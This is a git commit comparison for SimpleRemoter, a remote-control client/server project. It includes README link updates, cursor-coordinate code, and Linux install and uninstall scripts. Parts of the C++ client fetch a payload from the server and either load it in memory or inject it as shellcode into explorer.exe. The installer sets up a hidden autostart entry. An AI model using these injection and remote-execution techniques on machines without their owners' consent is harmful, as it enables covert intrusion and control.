Compare commits
10 Commits
v1.3.4
...
d6fb612475
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d6fb612475 | ||
|
|
54c88539e5 | ||
|
|
92bf9c9ccb | ||
|
|
99fc15ae41 | ||
|
|
62e962f216 | ||
|
|
740ec8baf3 | ||
|
|
83d671c90f | ||
|
|
5b7d3903b5 | ||
|
|
da443283f2 | ||
|
|
e5bb405f79 |
4
.gitattributes
vendored
4
.gitattributes
vendored
@@ -1,6 +1,10 @@
|
||||
# Auto detect text files and perform LF normalization
|
||||
* text=auto
|
||||
|
||||
# Shell scripts must keep LF line endings even when checked out on Windows,
|
||||
# otherwise Linux refuses them with "bad interpreter: /usr/bin/env^M".
|
||||
*.sh text eol=lf
|
||||
|
||||
# Custom for Visual Studio
|
||||
*.cs diff=csharp
|
||||
|
||||
|
||||
10
ReadMe.md
10
ReadMe.md
@@ -9,8 +9,8 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||
@@ -19,8 +19,8 @@
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
@@ -291,7 +291,7 @@
|
||||
|
||||
无需编译,下载即用:
|
||||
|
||||
1. **下载发布版** - 从 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
|
||||
1. **下载发布版** - 从 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
|
||||
2. **启动主控** - 运行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),输入授权信息
|
||||
3. **生成客户端** - 工具栏「生成」配置服务器 IP 和端口
|
||||
4. **部署客户端** - 复制到目标机器运行
|
||||
|
||||
10
ReadMe_EN.md
10
ReadMe_EN.md
@@ -9,8 +9,8 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||
@@ -19,8 +19,8 @@
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-Latest%20Release-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-Latest%20Release-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
@@ -291,7 +291,7 @@ Full description: [Multi-Layer License](./docs/MultiLayerLicense.md)
|
||||
|
||||
No compilation required — download and run:
|
||||
|
||||
1. **Download a release** — grab the latest build from [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest)
|
||||
1. **Download a release** — grab the latest build from [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest)
|
||||
2. **Start the master** — run `YAMA.exe` (or `server_linux_amd64` on Linux), enter the license info
|
||||
3. **Generate a client** — click *Build* in the toolbar, configure server IP / port
|
||||
4. **Deploy the client** — copy to the target machine and run it
|
||||
|
||||
10
ReadMe_TW.md
10
ReadMe_TW.md
@@ -9,8 +9,8 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||
@@ -19,8 +19,8 @@
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
@@ -291,7 +291,7 @@
|
||||
|
||||
無需編譯,下載即用:
|
||||
|
||||
1. **下載發行版** - 從 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
|
||||
1. **下載發行版** - 從 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
|
||||
2. **啟動主控** - 執行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),輸入授權資訊
|
||||
3. **生成用戶端** - 工具列「生成」設定伺服器 IP 和埠
|
||||
4. **部署用戶端** - 複製到目標機器執行
|
||||
|
||||
@@ -617,14 +617,18 @@ void DownExecute(const std::string &strUrl, CManager *This)
|
||||
}
|
||||
|
||||
#include "common/location.h"
|
||||
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
|
||||
std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHash)
|
||||
{
|
||||
iniFile reg;
|
||||
pwdHash = reg.GetStr("settings", "UpperHash", masterHash);
|
||||
|
||||
config* m_iniFile = nullptr;
|
||||
#ifdef _DEBUG
|
||||
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
||||
#else
|
||||
m_iniFile = new iniFile;
|
||||
#endif
|
||||
pwdHash = m_iniFile->GetStr("settings", "UpperHash", masterHash);
|
||||
int bindType = m_iniFile->GetInt("settings", "BindType", 0);
|
||||
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
|
||||
std::string master = m_iniFile->GetStr("settings", "master");
|
||||
@@ -882,18 +886,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节)
|
||||
char buf[400] = {}, *passCode = buf + 5;
|
||||
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
||||
if (passCode[0] == 0) {
|
||||
std::string pwdHash, masterHash(skCrypt(MASTER_HASH));
|
||||
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
||||
static std::string hashedID = hashSHA256(hardwareId);
|
||||
static std::string devId = getFixedLengthID(hashedID);
|
||||
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
||||
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
||||
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
||||
memcpy(buf + 32, pwdHash, 64); // 64字节
|
||||
memcpy(buf + 32, pwdHash.c_str(), 64); // 64字节
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
Mprintf("Request for authorization update.\n");
|
||||
Mprintf("Request for authorization update. SN: %s, PwdHash: %s\n", devId.c_str(), pwdHash.c_str());
|
||||
} else {
|
||||
unsigned short* days = (unsigned short*)(buf + 1);
|
||||
unsigned short* num = (unsigned short*)(buf + 3);
|
||||
|
||||
10329
client/SCLoader.cpp
10329
client/SCLoader.cpp
File diff suppressed because it is too large
Load Diff
@@ -639,11 +639,10 @@ public:
|
||||
// 写入算法类型
|
||||
data[0] = algo;
|
||||
|
||||
// 写入光标位置
|
||||
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
PointConversionInverse(CursorPos);
|
||||
memcpy(data + 1, &CursorPos, sizeof(POINT));
|
||||
|
||||
// 写入当前光标类型(支持自定义光标)
|
||||
@@ -851,11 +850,10 @@ public:
|
||||
// 写入使用了哪种算法
|
||||
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
||||
|
||||
// 写入光标位置
|
||||
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
PointConversionInverse(CursorPos);
|
||||
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// 写入当前光标类型(支持自定义光标)
|
||||
@@ -1025,6 +1023,26 @@ public:
|
||||
pt.y += m_iScreenY;
|
||||
}
|
||||
|
||||
// 鼠标位置反向转换:将客户端绝对坐标(GetCursorPos)转换为发送坐标系,逐项是 PointConversion 的逆
|
||||
virtual void PointConversionInverse(POINT& pt) const
|
||||
{
|
||||
// 3'. 减去屏幕偏移(多显示器)
|
||||
pt.x -= m_iScreenX;
|
||||
pt.y -= m_iScreenY;
|
||||
// 2'. 反向 DPI 缩放
|
||||
if (m_bZoomed) {
|
||||
pt.x = (LONG)(pt.x / m_wZoom);
|
||||
pt.y = (LONG)(pt.y / m_hZoom);
|
||||
}
|
||||
// 1'. full → send 缩放(位图下采样传输时)
|
||||
int sendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
int sendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
if (sendWidth != (int)m_ulFullWidth || sendHeight != (int)m_ulFullHeight) {
|
||||
pt.x = (LONG)((double)pt.x * sendWidth / m_ulFullWidth + 0.5);
|
||||
pt.y = (LONG)((double)pt.y * sendHeight / m_ulFullHeight + 0.5);
|
||||
}
|
||||
}
|
||||
|
||||
// 获取位图结构信息
|
||||
virtual const LPBITMAPINFO& GetBIData() const
|
||||
{
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
#include "auto_start.h"
|
||||
// A shell code loader connect to 127.0.0.1:6543.
|
||||
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||
#include "SCLoader.cpp"
|
||||
// #include "SCLoader.cpp"
|
||||
extern "C" {
|
||||
#include "reg_startup.h"
|
||||
#include "ServiceWrapper.h"
|
||||
@@ -76,10 +76,14 @@ typedef struct PkgHeader {
|
||||
}
|
||||
} PkgHeader;
|
||||
|
||||
typedef int (*DllCallback)(BYTE* dll, int size);
|
||||
|
||||
// Memory DLL runner.
|
||||
class MemoryDllRunner : public DllRunner
|
||||
{
|
||||
protected:
|
||||
int m_payloadType = MEMORYDLL;
|
||||
DllCallback m_callback = nullptr;
|
||||
HMEMORYMODULE m_mod;
|
||||
std::string GetIPAddress(const std::string& hostName)
|
||||
{
|
||||
@@ -107,7 +111,7 @@ protected:
|
||||
return std::string(ipStr);
|
||||
}
|
||||
public:
|
||||
MemoryDllRunner() : m_mod(nullptr) {}
|
||||
MemoryDllRunner(int type = MEMORYDLL, DllCallback cb = NULL) : m_mod(nullptr), m_payloadType(type), m_callback(cb) {}
|
||||
virtual const char* ReceiveDll(int &size)
|
||||
{
|
||||
WSADATA wsaData = {};
|
||||
@@ -146,9 +150,9 @@ public:
|
||||
continue;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
|
||||
#else
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
||||
#endif
|
||||
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
||||
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
||||
@@ -244,6 +248,9 @@ public:
|
||||
strcpy(addr->installDir, g_ConnectAddress.installDir);
|
||||
strcpy(addr->installName, g_ConnectAddress.installName);
|
||||
}
|
||||
if (m_callback) {
|
||||
m_callback((BYTE*)buffer + 6 + sizeof(PkgHeader), size);
|
||||
}
|
||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||
SAFE_DELETE_ARRAY(buffer);
|
||||
return m_mod;
|
||||
@@ -259,6 +266,37 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
int InjectShellcode(BYTE* buf, int len) {
|
||||
ShellcodeInj inj(buf, len);
|
||||
int pid = 0;
|
||||
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
|
||||
do {
|
||||
if (sizeof(void*) == 4) // Shell code is 64bit
|
||||
return 1;
|
||||
if (!(pid = inj.InjectProcess("explorer.exe", TRUE))) {
|
||||
return 2;
|
||||
}
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
||||
if (hProcess == NULL) {
|
||||
return 3;
|
||||
}
|
||||
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||
HANDLE handles[2] = { hProcess, hEvent };
|
||||
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||
if (status == 1) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
TerminateProcess(hProcess, -1);
|
||||
SAFE_CLOSE_HANDLE(hEvent);
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(hProcess);
|
||||
Mprintf("Process [%d] is finished.\n", pid);
|
||||
Sleep(1000);
|
||||
if (status == 1)
|
||||
ExitProcess(0);
|
||||
} while (pid);
|
||||
}
|
||||
|
||||
// @brief 首先读取settings.ini配置文件,获取IP和端口.
|
||||
// [settings]
|
||||
// localIp=XXX
|
||||
@@ -317,44 +355,6 @@ int main(int argc, const char *argv[])
|
||||
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
|
||||
}
|
||||
|
||||
// 此 Shell code 连接本机6543端口,注入到任务管理器
|
||||
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
||||
// Try to inject shell code to `notepad.exe`
|
||||
// If failed then run memory DLL
|
||||
ShellcodeInj inj(TinyRun_dll, TinyRun_dll_len);
|
||||
int pid = 0;
|
||||
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
|
||||
do {
|
||||
if (sizeof(void*) == 4) // Shell code is 64bit
|
||||
break;
|
||||
if (!(pid = inj.InjectProcess("explorer.exe", ok))) {
|
||||
break;
|
||||
}
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
||||
if (hProcess == NULL) {
|
||||
break;
|
||||
}
|
||||
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||
HANDLE handles[2] = { hProcess, hEvent };
|
||||
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||
if (status == 1) {
|
||||
TerminateProcess(hProcess, -1);
|
||||
SAFE_CLOSE_HANDLE(hEvent);
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(hProcess);
|
||||
Mprintf("Process [%d] is finished.\n", pid);
|
||||
if (status == 1) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return -1;
|
||||
}
|
||||
} while (pid);
|
||||
}
|
||||
|
||||
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||
}
|
||||
|
||||
do {
|
||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
@@ -423,6 +423,9 @@ BOOL Run(const char* argv1, int argv2)
|
||||
case Startup_MEMDLL:
|
||||
runner = new MemoryDllRunner;
|
||||
break;
|
||||
case Startup_InjSC:
|
||||
runner = new MemoryDllRunner(INJECT_SC, InjectShellcode);
|
||||
break;
|
||||
default:
|
||||
ExitProcess(-1);
|
||||
break;
|
||||
|
||||
@@ -1361,7 +1361,8 @@ enum {
|
||||
|
||||
SHELLCODE = 0,
|
||||
MEMORYDLL = 1,
|
||||
RUNTYPE_MAX = 2,
|
||||
INJECT_SC = 2,
|
||||
RUNTYPE_MAX = 3,
|
||||
|
||||
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
||||
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
||||
|
||||
152
linux/install.sh
Executable file
152
linux/install.sh
Executable file
@@ -0,0 +1,152 @@
|
||||
#!/usr/bin/env bash
|
||||
# YAMA Ghost (Linux client) — install + autostart deployment
|
||||
#
|
||||
# 用法(在解压/克隆后的 linux/ 目录下):
|
||||
# ./install.sh # 默认安装到 ~/.local/bin/ghost
|
||||
# ./install.sh /opt/yama # 安装到 /opt/yama/ghost(如需要会自动 sudo)
|
||||
#
|
||||
# 行为:
|
||||
# 1. 复制 ghost 二进制到目标位置并加可执行权
|
||||
# 2. 注册 XDG Autostart(~/.config/autostart/ghost.desktop)
|
||||
# 3. 可选立即启动一次(继承当前桌面会话的 X 环境)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# ---- 防止以 root 直接运行 ----
|
||||
# 用 sudo 跑会让 $HOME 变成 /root(或 sudo 配置决定的值),
|
||||
# autostart 写到 /root/.config/autostart/,桌面用户的 session 看不见,
|
||||
# 自启动完全失效。需要 sudo 的地方(如装到 /opt/...),脚本会按需自调用 sudo。
|
||||
if [[ "${EUID:-$(id -u)}" -eq 0 ]]; then
|
||||
echo "请用普通用户身份运行此脚本,不要 sudo。" >&2
|
||||
echo "如目标目录需要 root 权限,脚本会按需自动调用 sudo。" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ---- 颜色 ----
|
||||
if [[ -t 1 ]]; then
|
||||
C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
|
||||
C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
|
||||
else
|
||||
C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
|
||||
fi
|
||||
|
||||
info() { echo "${C_BLUE}[INFO]${C_RESET} $*"; }
|
||||
ok() { echo "${C_GREEN}[ OK ]${C_RESET} $*"; }
|
||||
warn() { echo "${C_YELLOW}[WARN]${C_RESET} $*"; }
|
||||
error() { echo "${C_RED}[FAIL]${C_RESET} $*" >&2; }
|
||||
|
||||
# ---- 路径解析 ----
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
SRC_BIN="${SCRIPT_DIR}/ghost"
|
||||
|
||||
# 安装目标目录(参数 $1,默认 ~/.local/bin)
|
||||
INSTALL_DIR="${1:-${HOME}/.local/bin}"
|
||||
DEST_BIN="${INSTALL_DIR}/ghost"
|
||||
|
||||
AUTOSTART_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart"
|
||||
AUTOSTART_FILE="${AUTOSTART_DIR}/ghost.desktop"
|
||||
|
||||
echo "${C_BOLD}YAMA Ghost Linux 安装${C_RESET}"
|
||||
echo " 源: ${SRC_BIN}"
|
||||
echo " 目标: ${DEST_BIN}"
|
||||
echo " 自启动: ${AUTOSTART_FILE}"
|
||||
echo ""
|
||||
|
||||
# ---- 前置检查 ----
|
||||
if [[ ! -f "${SRC_BIN}" ]]; then
|
||||
error "找不到 ghost 二进制 ${SRC_BIN}"
|
||||
error "请把 install.sh 放在 ghost 同目录后再运行"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! file "${SRC_BIN}" 2>/dev/null | grep -q "ELF.*executable"; then
|
||||
error "${SRC_BIN} 不是有效的 ELF 可执行文件"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 判断目标目录是否需要 sudo
|
||||
# 三种情况都要走 sudo 分支:
|
||||
# a) 目录不存在且父目录无写权(如 /opt/yama 父是 /opt root-owned)
|
||||
# b) 目录已存在但当前用户无写权(如已存在的 /usr/local/bin root-owned)
|
||||
# c) 介于两者之间的情况由 mkdir 的退出码决定
|
||||
NEED_SUDO=""
|
||||
if [[ -d "${INSTALL_DIR}" ]]; then
|
||||
[[ -w "${INSTALL_DIR}" ]] || NEED_SUDO="sudo"
|
||||
else
|
||||
if ! mkdir -p "${INSTALL_DIR}" 2>/dev/null; then
|
||||
NEED_SUDO="sudo"
|
||||
fi
|
||||
fi
|
||||
if [[ -n "${NEED_SUDO}" ]]; then
|
||||
info "目标目录需要 root 权限,将使用 sudo(可能需要输入密码)"
|
||||
${NEED_SUDO} mkdir -p "${INSTALL_DIR}"
|
||||
fi
|
||||
|
||||
# ---- 1. 如已运行则先停止 ----
|
||||
if pgrep -x ghost > /dev/null; then
|
||||
warn "检测到 ghost 进程正在运行,先停止以替换二进制"
|
||||
pkill -x ghost || true
|
||||
sleep 1
|
||||
if pgrep -x ghost > /dev/null; then
|
||||
warn "进程未优雅退出,强制 kill"
|
||||
pkill -9 -x ghost || true
|
||||
sleep 1
|
||||
fi
|
||||
ok "旧进程已停止"
|
||||
fi
|
||||
|
||||
# ---- 2. 复制二进制 ----
|
||||
info "复制 ghost 到 ${DEST_BIN}"
|
||||
${NEED_SUDO} install -m 0755 "${SRC_BIN}" "${DEST_BIN}"
|
||||
ok "二进制已部署 (mode 0755)"
|
||||
|
||||
# ---- 3. 写 XDG Autostart 文件 ----
|
||||
mkdir -p "${AUTOSTART_DIR}"
|
||||
cat > "${AUTOSTART_FILE}" <<EOF
|
||||
[Desktop Entry]
|
||||
Type=Application
|
||||
Name=YAMA Ghost
|
||||
Comment=YAMA remote control client
|
||||
Exec=${DEST_BIN}
|
||||
Terminal=false
|
||||
X-GNOME-Autostart-enabled=true
|
||||
NoDisplay=true
|
||||
StartupNotify=false
|
||||
EOF
|
||||
ok "Autostart 已注册"
|
||||
|
||||
# 验证 .desktop 格式(如果系统装了 desktop-file-validate)
|
||||
if command -v desktop-file-validate >/dev/null 2>&1; then
|
||||
if desktop-file-validate "${AUTOSTART_FILE}" >/dev/null 2>&1; then
|
||||
ok "Autostart 文件格式验证通过"
|
||||
else
|
||||
warn "desktop-file-validate 报告了警告,但通常不影响功能"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ---- 4. 可选:立即启动 ----
|
||||
echo ""
|
||||
echo -n "${C_BOLD}是否立即启动 ghost(验证 X 环境)?[Y/n]${C_RESET} "
|
||||
read -r ans
|
||||
if [[ -z "${ans}" || "${ans}" =~ ^[Yy]$ ]]; then
|
||||
if [[ -z "${DISPLAY:-}" ]]; then
|
||||
warn "当前 shell 没有 DISPLAY 变量,可能不在桌面会话内 — 启动后远控仍可能 0x0"
|
||||
warn "建议在 GNOME 终端/桌面环境的终端里运行此脚本"
|
||||
fi
|
||||
nohup "${DEST_BIN}" >/dev/null 2>&1 &
|
||||
sleep 1
|
||||
if pgrep -x ghost > /dev/null; then
|
||||
ok "ghost 已启动 (PID=$(pgrep -x ghost | head -1))"
|
||||
else
|
||||
error "启动失败,请手动跑 ${DEST_BIN} 看错误输出"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "${C_GREEN}${C_BOLD}✓ 安装完成${C_RESET}"
|
||||
echo ""
|
||||
echo "下次开机将自动启动;如需立即测试,重启或在桌面终端跑:"
|
||||
echo " ${DEST_BIN}"
|
||||
echo ""
|
||||
echo "卸载请运行同目录的 ./uninstall.sh"
|
||||
121
linux/uninstall.sh
Executable file
121
linux/uninstall.sh
Executable file
@@ -0,0 +1,121 @@
|
||||
#!/usr/bin/env bash
|
||||
# YAMA Ghost (Linux client) — uninstall
|
||||
#
|
||||
# 用法:
|
||||
# ./uninstall.sh # 默认从 ~/.local/bin/ghost 卸载
|
||||
# ./uninstall.sh /opt/yama # 从指定目录卸载
|
||||
# ./uninstall.sh --yes # 跳过确认(自动化场景)
|
||||
#
|
||||
# 行为(幂等 — 重复运行不会报错):
|
||||
# 1. 停止运行中的 ghost 进程
|
||||
# 2. 删除 XDG Autostart 文件
|
||||
# 3. 删除已安装的二进制
|
||||
# 4. 询问是否清理用户配置(~/.config/ghost)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# ---- 颜色 ----
|
||||
if [[ -t 1 ]]; then
|
||||
C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
|
||||
C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
|
||||
else
|
||||
C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
|
||||
fi
|
||||
|
||||
info() { echo "${C_BLUE}[INFO]${C_RESET} $*"; }
|
||||
ok() { echo "${C_GREEN}[ OK ]${C_RESET} $*"; }
|
||||
warn() { echo "${C_YELLOW}[WARN]${C_RESET} $*"; }
|
||||
error() { echo "${C_RED}[FAIL]${C_RESET} $*" >&2; }
|
||||
|
||||
# ---- 参数解析 ----
|
||||
ASSUME_YES=0
|
||||
INSTALL_DIR="${HOME}/.local/bin"
|
||||
for arg in "$@"; do
|
||||
case "${arg}" in
|
||||
--yes|-y) ASSUME_YES=1 ;;
|
||||
--help|-h)
|
||||
# 头部注释覆盖标题/用法/行为 4 步,对应源文件第 2-13 行
|
||||
sed -n '2,13p' "$0" | sed 's/^# \?//'
|
||||
exit 0
|
||||
;;
|
||||
*) INSTALL_DIR="${arg}" ;;
|
||||
esac
|
||||
done
|
||||
|
||||
DEST_BIN="${INSTALL_DIR}/ghost"
|
||||
AUTOSTART_FILE="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart/ghost.desktop"
|
||||
CONFIG_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/ghost"
|
||||
|
||||
confirm() {
|
||||
[[ "${ASSUME_YES}" -eq 1 ]] && return 0
|
||||
local prompt="$1"
|
||||
local ans=""
|
||||
echo -n "${prompt} [y/N] "
|
||||
read -r ans || true # EOF on stdin: ans stays empty, 返回 no
|
||||
[[ "${ans}" =~ ^[Yy]$ ]]
|
||||
}
|
||||
|
||||
echo "${C_BOLD}YAMA Ghost Linux 卸载${C_RESET}"
|
||||
echo " 二进制: ${DEST_BIN}"
|
||||
echo " 自启动: ${AUTOSTART_FILE}"
|
||||
echo " 配置: ${CONFIG_DIR}"
|
||||
echo ""
|
||||
|
||||
if ! confirm "确认卸载?"; then
|
||||
info "已取消"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# ---- 1. 停止进程 ----
|
||||
if pgrep -x ghost > /dev/null; then
|
||||
info "停止运行中的 ghost 进程"
|
||||
pkill -x ghost || true
|
||||
sleep 1
|
||||
if pgrep -x ghost > /dev/null; then
|
||||
warn "进程未优雅退出,强制 kill"
|
||||
pkill -9 -x ghost || true
|
||||
sleep 1
|
||||
fi
|
||||
ok "ghost 进程已停止"
|
||||
else
|
||||
info "没有运行中的 ghost 进程"
|
||||
fi
|
||||
|
||||
